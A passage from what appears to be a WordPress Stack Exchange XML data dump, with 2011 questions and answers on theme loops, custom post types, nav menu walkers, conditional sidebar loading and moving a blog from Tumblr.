?&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php the_tags(); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;&#xA;        &amp;lt;?php comments_template('', true); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if ($wp_query-&amp;gt;max_num_pages &amp;gt; 1) : ?&amp;gt;&#xA;    &amp;lt;nav id=&quot;post-nav&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;post-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'roots' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;post-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'roots' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Really thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="4798" LastEditorUserId="4798" LastEditorDisplayName="" LastEditDate="2011-04-21T10:47:11.467" LastActivityDate="2011-04-21T10:47:11.467" Title="960gs different classes on teasers posts" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;960gs&gt;" AnswerCount="2" />
  <row Id="15237" PostTypeId="1" AcceptedAnswerId="15296" CreationDate="2011-04-20T17:40:09.463" Score="0" ViewCount="180" Body="&lt;p&gt;So the reason why I am don't want to include &lt;code&gt;get_header()&lt;/code&gt; or &lt;code&gt;get_footer()&lt;/code&gt; tags is because this page will be loaded as an iframe using the thickbox modal plugin and its content will be a form and I don't want the aforementioned tags to render all the menus and banner images and menus as well as the footer content because it will make for lots of scrolling on this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, current I'm running something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'my_plugin_add_js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I take out the &lt;code&gt;get_header()&lt;/code&gt; and &lt;code&gt;get_footer&lt;/code&gt;() tags then the JavaScript doesn't load even though the javascripts inside the '&lt;code&gt;my_plugin_add_js&lt;/code&gt;' are being added within the body HTML tags at the end and not inside the head tags, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script(&quot;validate_form&quot;, plugins_url('js/my_plugin_validate_form.js', __FILE__), array('jquery', 'validation'), '1.0', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I gather that the 'template_redirect' action hook is not the right one to use. &lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2011-04-21T05:51:25.997" Title="What action hook can I use to add a JavaScript to a page post using a theme template that is not including get_header() nor get_footer()?" Tags="&lt;plugin-development&gt;&lt;template&gt;&lt;javascript&gt;&lt;hooks&gt;&lt;add-action&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="15238" PostTypeId="2" ParentId="15236" CreationDate="2011-04-20T17:43:00.120" Score="0" ViewCount="" Body="&lt;p&gt;add a counter variable before the loop, $counter = 1;, before the end of the loop, increment the counter, $counter++;. now within your loop you can check which post you're rendering, if it's the first, last, or somewhere between, and print the proper html accordingly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$counter = 1;&#xA;while (have_posts()) : the_post();&#xA;&#xA;    if($counter==1){&#xA;        // first post&#xA;    } elseif($counter==$wp_db-&amp;gt;found_posts){&#xA;        // last post&#xA;    } else {&#xA;        // somewhere between first and last&#xA;    }&#xA;&#xA;    $counter++;&#xA;endwhile; // End the loop&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-20T17:43:00.120" CommentCount="2" />
  <row Id="15239" PostTypeId="2" ParentId="14822" CreationDate="2011-04-20T18:15:15.740" Score="0" ViewCount="" Body="&lt;p&gt;I am a huge fan of &lt;a href=&quot;http://wordpress.org/extend/plugins/more-types/&quot; rel=&quot;nofollow&quot;&gt;More Types&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;More Fields&lt;/a&gt;, and &lt;a href=&quot;http://wordpress.org/extend/plugins/more-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;More Taxonomies&lt;/a&gt;. I had to do the exact thing you're looking to do, and quickly. I was able to create custom pages and posts without compromising the defaults. Once I created the custom types I then created custom page/post templates (page-documents.php) and pulled the information into them with something similar to this. &lt;code&gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;document-description&quot;, true); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/j2urJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-20T18:15:15.740" />
  <row Id="15241" PostTypeId="1" AcceptedAnswerId="15269" CreationDate="2011-04-20T18:38:01.543" Score="1" ViewCount="95" Body="&lt;p&gt;Hi to all I'm running a Wordpress MS installation and I would like to move a couple of heavy &quot;sub&quot; blogs on a different DB, will it encrease my performances? Actually I'm on a dedicated server with quadcore 2.5 Ghz, 6GB ram and a few nice stuff like Lightspeed eaccelerator and so on. I'm a &quot;self made webmaster&quot; so I need an easy to follow guide that can teach me how to split safely my DB and improve my performance.&#xA;Thank you very much for this!&#xA;(just read: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11154/split-wp-install-between-2-databases&quot;&gt;Split WP install between 2 databases?&lt;/a&gt; is this the only solution available or there is an easier one?)&lt;/p&gt;&#xA;" OwnerUserId="4107" LastActivityDate="2011-04-20T22:30:40.340" Title="Split a database will improve performance?" Tags="&lt;multisite&gt;&lt;database&gt;&lt;mysql&gt;&lt;split&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15242" PostTypeId="1" CreationDate="2011-04-20T18:45:49.957" Score="1" ViewCount="223" Body="&lt;p&gt;I have registered a new post type called Resources. I specify 'page-attributes' as a supported feature. When I go to create a new Resource post I see under Template that I can pick from a number of custom templates I have defined. But after I choose this and click update the setting isn't saved and the template isn't used. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_post_type() {&#xA;register_post_type( 'foo_resources',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'Resources' ),&#xA;            'singular_name' =&amp;gt; __( 'Resource' )&#xA;        ),&#xA;    'public' =&amp;gt; true,&#xA;    'has_archive' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;    'menu_position' =&amp;gt; 5,   &#xA;    'supports' =&amp;gt; array('title','editor','author','page-attributes'),&#xA;    'rewrite' =&amp;gt; array(&#xA;        'slug' =&amp;gt; 'resources',&#xA;        'with_front' =&amp;gt; false&#xA;    ),      &#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-04-20T21:59:42.057" Title="Created custom post type but selected template not staying selected" Tags="&lt;page-template&gt;&lt;custom-post-types&gt;&lt;page-attributes&gt;" AnswerCount="1" />
  <row Id="15243" PostTypeId="2" ParentId="2802" CreationDate="2011-04-20T18:46:33.363" Score="0" ViewCount="" Body="&lt;p&gt;I made a modified walker that should help! Not perfect - it leaves a few empty  elements, but it does the trick. The modification is basically those $current_branch bits.&#xA;Hope it helps someone!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Kanec_Walker_Nav_Menu extends Walker {&#xA;/**&#xA; * @see Walker::$tree_type&#xA; * @since 3.0.0&#xA; * @var string&#xA; */&#xA;var $tree_type = array( 'post_type', 'taxonomy', 'custom' );&#xA;&#xA;/**&#xA; * @see Walker::$db_fields&#xA; * @since 3.0.0&#xA; * @todo Decouple this.&#xA; * @var array&#xA; */&#xA;var $db_fields = array( 'parent' =&amp;gt; 'menu_item_parent', 'id' =&amp;gt; 'db_id' );&#xA;&#xA;/**&#xA; * @see Walker::start_lvl()&#xA; * @since 3.0.0&#xA; *&#xA; * @param string $output Passed by reference. Used to append additional content.&#xA; * @param int $depth Depth of page. Used for padding.&#xA; */&#xA;function start_lvl(&amp;amp;$output, $depth) {&#xA;    $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;    $output .= &quot;\n$indent&amp;lt;ul class=\&quot;sub-menu\&quot;&amp;gt;\n&quot;;&#xA;}&#xA;&#xA;/**&#xA; * @see Walker::end_lvl()&#xA; * @since 3.0.0&#xA; *&#xA; * @param string $output Passed by reference. Used to append additional content.&#xA; * @param int $depth Depth of page. Used for padding.&#xA; */&#xA;function end_lvl(&amp;amp;$output, $depth) {&#xA;    global $current_branch;&#xA;    if ($depth == 0) $current_branch = false;&#xA;    $indent = str_repeat(&quot;\t&quot;, $depth);&#xA;    $output .= &quot;$indent&amp;lt;/ul&amp;gt;\n&quot;;&#xA;}&#xA;&#xA;/**&#xA; * @see Walker::start_el()&#xA; * @since 3.0.0&#xA; *&#xA; * @param string $output Passed by reference. Used to append additional content.&#xA; * @param object $item Menu item data object.&#xA; * @param int $depth Depth of menu item. Used for padding.&#xA; * @param int $current_page Menu item ID.&#xA; * @param object $args&#xA; */&#xA;function start_el(&amp;amp;$output, $item, $depth, $args) {&#xA;    global $wp_query;&#xA;    global $current_branch;&#xA;&#xA;    // Is this menu item in the current branch?&#xA;    if(in_array('current-menu-ancestor',$item-&amp;gt;classes) ||&#xA;    in_array('current-menu-parent',$item-&amp;gt;classes) ||&#xA;    in_array('current-menu-item',$item-&amp;gt;classes)) {&#xA;        $current_branch = true; &#xA;    }&#xA;&#xA;    if($current_branch &amp;amp;&amp;amp; $depth &amp;gt; 0) {&#xA;        $indent = ( $depth ) ? str_repeat( &quot;\t&quot;, $depth ) : '';&#xA;&#xA;        $class_names = $value = '';&#xA;&#xA;        $classes = empty( $item-&amp;gt;classes ) ? array() : (array) $item-&amp;gt;classes;&#xA;        $classes[] = 'menu-item-' . $item-&amp;gt;ID;&#xA;&#xA;        $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );&#xA;        $class_names = ' class=&quot;' . esc_attr( $class_names ) . '&quot;';&#xA;&#xA;        $id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item-&amp;gt;ID, $item, $args );&#xA;        $id = strlen( $id ) ? ' id=&quot;' . esc_attr( $id ) . '&quot;' : '';&#xA;&#xA;        $output .= $indent . '&amp;lt;li' . $id . $value . $class_names .'&amp;gt;';&#xA;&#xA;        $attributes  = ! empty( $item-&amp;gt;attr_title ) ? ' title=&quot;'  . esc_attr( $item-&amp;gt;attr_title ) .'&quot;' : '';&#xA;        $attributes .= ! empty( $item-&amp;gt;target )     ? ' target=&quot;' . esc_attr( $item-&amp;gt;target     ) .'&quot;' : '';&#xA;        $attributes .= ! empty( $item-&amp;gt;xfn )        ? ' rel=&quot;'    . esc_attr( $item-&amp;gt;xfn        ) .'&quot;' : '';&#xA;        $attributes .= ! empty( $item-&amp;gt;url )        ? ' href=&quot;'   . esc_attr( $item-&amp;gt;url        ) .'&quot;' : '';&#xA;&#xA;        $item_output = $args-&amp;gt;before;&#xA;        $item_output .= '&amp;lt;a'. $attributes .'&amp;gt;';&#xA;        $item_output .= $args-&amp;gt;link_before . apply_filters( 'the_title', $item-&amp;gt;title, $item-&amp;gt;ID ) . $args-&amp;gt;link_after;&#xA;        $item_output .= '&amp;lt;/a&amp;gt;';&#xA;        $item_output .= $args-&amp;gt;after;&#xA;&#xA;        $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );&#xA;    }&#xA;&#xA;}&#xA;&#xA;/**&#xA; * @see Walker::end_el()&#xA; * @since 3.0.0&#xA; *&#xA; * @param string $output Passed by reference. Used to append additional content.&#xA; * @param object $item Page data object. Not used.&#xA; * @param int $depth Depth of page. Not Used.&#xA; */&#xA;function end_el(&amp;amp;$output, $item, $depth) {&#xA;    global $current_branch;&#xA;    if($current_branch &amp;amp;&amp;amp; $depth &amp;gt; 0) $output .= &quot;&amp;lt;/li&amp;gt;\n&quot;;&#xA;    if($depth == 0) $current_branch = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="2735" LastActivityDate="2011-04-20T18:46:33.363" />
  <row Id="15244" PostTypeId="1" AcceptedAnswerId="15255" CreationDate="2011-04-20T19:21:28.677" Score="0" ViewCount="217" Body="&lt;p&gt;I have been playing around with media queries quite a bit lately and I love the concept. It is so easy to display images or change div floats depending upon what the users screen max-width is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a way of displaying a custom sidebar on my template Only if the users screen size is large enough to permit it. i.e. max-width is &gt;900px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far every solution I have found simply uses css to hide/show a div via the media query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media screen and (max-width: 880px) {&#xA;#secondary-nav  {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'problem' with this approach is that I am still sending the data to devices that can't see it due to my hiding it. Creates unnecessary bloat for mobile users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is the best approach to loading the sidebar only if it fits my 'rules'. Also, it needs to readjust itself if the viewer changes the browser window size, like when snapped to side in win7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find one concept of using javascript to check the screen width, and save that to a cookie:&#xA;&lt;a href=&quot;http://www.yiibu.com/resources/scripts/default.js&quot; rel=&quot;nofollow&quot;&gt;http://www.yiibu.com/resources/scripts/default.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing at that point, there would be a way of checking the cookie 'width' data and then serving up the sidebar or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem with that is what happens if cookies are not enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, what happens when screen size changes, does that mean the cookie is being set/unset over and over again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, I am really open to ideas on this one, as this is virgin territory for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary idea here is to serve up device appropriate wp templates without sending data to the users device that is hidden for smaller screens. After all, mobile data is kind of expensive, so I want to do all I can to help my users out.&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-04-21T06:28:34.967" LastActivityDate="2011-04-21T06:28:34.967" Title="Best approach for loading a sidebar Only if the screen max-width is &gt;900px?" Tags="&lt;jquery&gt;&lt;css&gt;&lt;template&gt;&lt;sidebar&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="15245" PostTypeId="2" ParentId="15095" CreationDate="2011-04-20T19:23:34.670" Score="0" ViewCount="" Body="&lt;p&gt;I have found when using CF7 that when I get this error it is due to incorrect MX record setups, or simply your web host does not allow email relaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting the 'From' field on the CF7 form to wordpress@yourdomain.com this seems to work 99% of the time.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastActivityDate="2011-04-20T19:23:34.670" />
  <row Id="15246" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T19:24:46.663" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;DUPLEX&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think? :)&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-20T19:24:46.663" />
  <row Id="15247" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T19:45:28.767" Score="2" ViewCount="" Body="&lt;p&gt;Multipost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because … it is posted on multiple sites. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-20T19:45:28.767" />
  <row Id="15248" PostTypeId="1" AcceptedAnswerId="17845" CreationDate="2011-04-20T19:48:15.940" Score="0" ViewCount="73" Body="&lt;p&gt;I'm trying to prevent people from adding terms to some, but not all of my taxonomies. There are four taxonomies in a certain post type. I need to prevent people from adding to two of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used jQuery to prevent people from adding them on the taxonomy page, but I'm having trouble with the new post/edit post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't just hide the box, because I need them to be able to search and select from existing items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if jQuery will do the trick, because I'd like that input box to still be available for searching for existing terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does anyone know if this is possible?&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2011-05-20T22:31:41.250" Title="Prevent users from adding taxonomy terms" Tags="&lt;custom-taxonomy&gt;&lt;jquery&gt;" AnswerCount="2" />
  <row Id="15249" PostTypeId="2" ParentId="15248" CreationDate="2011-04-20T19:52:00.927" Score="0" ViewCount="" Body="&lt;p&gt;I believe the &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt; plugin will work for you here.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-20T19:52:00.927" />
  <row Id="15250" PostTypeId="2" ParentId="15244" CreationDate="2011-04-20T20:01:07.847" Score="1" ViewCount="" Body="&lt;p&gt;This is no way around this that I know of, it is one of the problems of media query's and CSS. I often see whole sites just using &lt;code&gt;visibility:hidden;&lt;/code&gt; or &lt;code&gt;display:none;&lt;/code&gt;. Your best bet is to just create a seperate page for mobile vs desktop, or use elements that can be very fluid ( not dynamic). I'm sure you can hack something with JavaScript and cookies but the end result will most likely be very problematic and have a hard time with compliance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a solid read: &lt;a href=&quot;http://www.alistapart.com/articles/responsive-web-design/&quot; rel=&quot;nofollow&quot;&gt;http://www.alistapart.com/articles/responsive-web-design/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-20T20:01:07.847" />
  <row Id="15251" PostTypeId="1" CreationDate="2011-04-20T20:05:24.553" Score="0" ViewCount="97" Body="&lt;p&gt;I want to move all my contents, pics from Tumblr  to Wordpress ..! &#xA;What would be the best way to do ???&lt;/p&gt;&#xA;" OwnerUserId="3490" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-26T09:01:18.793" LastActivityDate="2011-07-26T09:01:18.793" Title="Moving the blogs from Tumblr to Wordpress" Tags="&lt;wordpress.com&gt;&lt;tumblr&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="15252" PostTypeId="2" ParentId="15244" CreationDate="2011-04-20T20:07:25.750" Score="1" ViewCount="" Body="&lt;p&gt;I think the least hacky way to do this would be to look at useragent at the server level and serve a full width or mobile theme based on that. Within the themes you could then further show/hide elements based on actual viewport width and be a bit more economical about it.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-20T20:07:25.750" CommentCount="3" />
  <row Id="15253" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T20:09:34.850" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Reflection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...because the post is being &lt;em&gt;mirrored&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-20T20:09:34.850" CommentCount="1" />
  <row Id="15254" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T20:10:57.137" Score="3" ViewCount="" Body="&lt;p&gt;I tend to veer more towards descriptive when picking things like this, so I'd suggest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Network Post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately you're creating networks with this plugin, and calling it as such will reduce cognitive dissonance for admin users trying to figure out where all these new posts came from...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Cool plugin idea, btw!)&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-04-20T20:10:57.137" />
  <row Id="15255" PostTypeId="2" ParentId="15244" CreationDate="2011-04-20T20:11:48.260" Score="2" ViewCount="" Body="&lt;p&gt;On my website I load the recent comments per AJAX for window sizes above 480px:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( 480 &amp;lt; jQuery(window).width() )&#xA;{&#xA;    jQuery(document).ready(&#xA;        function()&#xA;        {&#xA;            jQuery.get('http://toscho.de/?rc', &#xA;                function(data)&#xA;                {&#xA;                    jQuery(data).insertBefore('#inner');&#xA;                }&#xA;            );&#xA;        }&#xA;    );&#xA;    jQuery('#posts').after('&amp;lt;div class=clear&amp;gt;&amp;amp;#160;&amp;lt;/div&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is quite old and not very elegant. But it may give you a hint for the right direction …&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-20T20:11:48.260" />
  <row Id="15256" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T20:12:21.613" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;network-wide-post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People not really into web will grasp this easier.&lt;/p&gt;&#xA;" OwnerUserId="3827" LastActivityDate="2011-04-20T20:12:21.613" />
  <row Id="15257" PostTypeId="2" ParentId="15251" CreationDate="2011-04-20T20:51:14.730" Score="1" ViewCount="" Body="&lt;p&gt;It doesn't look like Tumblr offers a built-in export service, but you have some options through tools that use the Tumblr API.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tumblr2wp.com/&quot; rel=&quot;nofollow&quot;&gt;Tumblr2WP&lt;/a&gt; can automatically export your Tumblr posts as an XML file. This is based from the Tumblr2WordPress project which is apparently no longer active, but is being hosted &lt;a href=&quot;http://haochen.me/tumblr/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You may get any number of errors when running this app because of API limits, especially if you have a large site. You might need to try a few times, I had to wait about 10 minutes before it would work for my site.  If you have your own web server with PHP, you can grab the &lt;a href=&quot;https://github.com/benward/tumblr2wordpress&quot; rel=&quot;nofollow&quot;&gt;Tumblr2WordPress source code&lt;/a&gt; and run it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've exported your Tumblr blog to an XML file, you can use WordPress's built-in Import utility under Dashboard &gt; Tools &gt; Import in WordPress. You may need to tweak the formatting of your Tumblr XML file to get the best results, &lt;a href=&quot;http://www.blogtips.org/how-to-import-a-tumblr-blog-into-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt; may be a helpful reference if you experience problems.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-20T20:51:14.730" CommentCount="2" />
  <row Id="15258" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T21:11:44.807" Score="2" ViewCount="" Body="&lt;p&gt;&lt;h1&gt;Bridge Post&lt;/h1&gt;since it bridges across multiple sites.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-20T21:11:44.807" />
  <row Id="15259" PostTypeId="1" AcceptedAnswerId="15260" CreationDate="2011-04-20T21:24:44.050" Score="0" ViewCount="26" Body="&lt;p&gt;I'm using site_url() for my href for anchors. I want to control what when I send the user to a secure page or non secure page. I thought I could do that with site_url('/foo', 'http') and site_url('/bar', 'https') but the scheme is not changing. If I'm on a secure page and site_url('/foo', 'http') is set, the clicked page is still secure instead of non-secure.&lt;/p&gt;&#xA;" OwnerUserId="3880" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-20T21:51:06.580" LastActivityDate="2011-04-20T21:51:06.580" Title="site_url is not honoring scheme" Tags="&lt;functions&gt;&lt;site-url&gt;" AnswerCount="1" />
  <row Id="15260" PostTypeId="2" ParentId="15259" CreationDate="2011-04-20T21:34:21.380" Score="0" ViewCount="" Body="&lt;p&gt;What is original link?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump( get_option('siteurl') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I am interpreting code right then for &lt;code&gt;http&lt;/code&gt; protocol argument action is to &lt;strong&gt;not change&lt;/strong&gt; the link. So if you have set up URL to be secure by default then function doesn't override that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-20T21:34:21.380" CommentCount="1" />
  <row Id="15261" PostTypeId="1" AcceptedAnswerId="15265" CreationDate="2011-04-20T21:43:11.393" Score="0" ViewCount="92" Body="&lt;p&gt;When a user selects a specific category from a drop-down a list of multiple post types is displayed. I'd like to display the data in groups with the post-type title above in a heading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure how to segment into post-type groups. I spent a bit of time looking but didn't find exactly what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to add &lt;code&gt;&amp;lt;?php $post_type = get_post_type( $post-&amp;gt;ID ); echo $post_type; ?&amp;gt;&lt;/code&gt; but it's simply repeating (obviously). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;calling the loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot; role=&quot;main&quot; style=&quot;float:right; width:765px;&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;        $category_description = category_description();&#xA;        if ( ! empty( $category_description ) )&#xA;            echo '&amp;lt;div class=&quot;archive-meta&quot;&amp;gt;' . $category_description . '&amp;lt;/div&amp;gt;';&#xA;        get_template_part( 'loop', 'support' );&#xA;    ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;entry-title&quot; style=&quot;margin-bottom:3px;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;span&amp;gt;type = &amp;lt;?php $post_type = get_post_type( $post-&amp;gt;ID ); echo $post_type; ?&amp;gt; &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;document-type&quot;, true); ?&amp;gt; &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;software-type&quot;, true); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;        &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;span class=&quot;%1$s&quot;&amp;gt;Compatible with:&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;                &amp;lt;?php printf( __( '%2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            $tags_list = get_the_tag_list( '', ', ' );&#xA;            if ( $tags_list ):&#xA;        ?&amp;gt;&#xA;            &amp;lt;span class=&quot;tag-links&quot;&amp;gt;&#xA;                &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Tagged&amp;lt;/span&amp;gt; %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-20T21:58:57.747" Title="Grouping post-types in loop" Tags="&lt;categories&gt;&lt;post-type&gt;" AnswerCount="1" />
